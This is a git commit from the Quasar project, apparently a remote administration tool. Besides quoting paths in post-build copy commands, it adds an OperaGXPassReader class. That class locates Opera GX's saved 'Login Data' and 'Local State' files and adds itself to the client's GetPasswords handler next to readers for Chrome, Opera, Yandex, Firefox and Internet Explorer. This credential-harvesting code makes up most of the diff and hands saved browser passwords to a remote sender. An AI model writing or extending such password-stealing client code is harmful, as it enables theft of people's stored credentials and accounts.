Fix copy command & Opera GX Password Recovery

This commit is contained in:
Hristiyan Ivanov 2020-08-22 01:12:26 +03:00 committed by MaxXor
parent 9520cd70ff
commit c4c40e6406
4 changed files with 36 additions and 5 deletions

View File

@ -18,9 +18,9 @@
OutputFile="$(TargetPath)"/>
</Target>
<Target Name="CopyWindows" AfterTargets="PostBuildEvent" Condition="'$(OS)' == 'Windows_NT' ">
<Exec Command="copy $(TargetPath) $(TargetDir)client.bin /Y" />
<Exec Command='copy "$(TargetPath)" "$(TargetDir)client.bin" /Y' />
</Target>
<Target Name="CopyUnix" AfterTargets="PostBuildEvent" Condition="'$(OS)' != 'Windows_NT' ">
<Exec Command="cp $(TargetPath) $(TargetDir)client.bin" />
<Exec Command='cp "$(TargetPath)" "$(TargetDir)client.bin"' />
</Target>
</Project>

View File

@ -32,8 +32,9 @@ private void Execute(ISender client, GetPasswords message)
var passReaders = new IAccountReader[]
{
new ChromePassReader(),
new OperaPassReader(),
new ChromePassReader(),
new OperaPassReader(),
new OperaGXPassReader(),
new YandexPassReader(),
new FirefoxPassReader(),
new InternetExplorerPassReader(),

View File

@ -0,0 +1,30 @@
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
public class OperaGXPassReader : ChromiumBase
{
/// <inheritdoc />
public override string ApplicationName => "Opera GX";
/// <inheritdoc />
public override IEnumerable<RecoveredAccount> ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera GX Stable\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera GX Stable\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List<RecoveredAccount>();
}
}
}
}

View File

@ -16,7 +16,7 @@ public override IEnumerable<RecoveredAccount> ReadAccounts()
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera Stable\\Login Data");
"Opera Software\\Opera Stable\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera Stable\\Local State");
return ReadAccounts(filePath, localStatePath);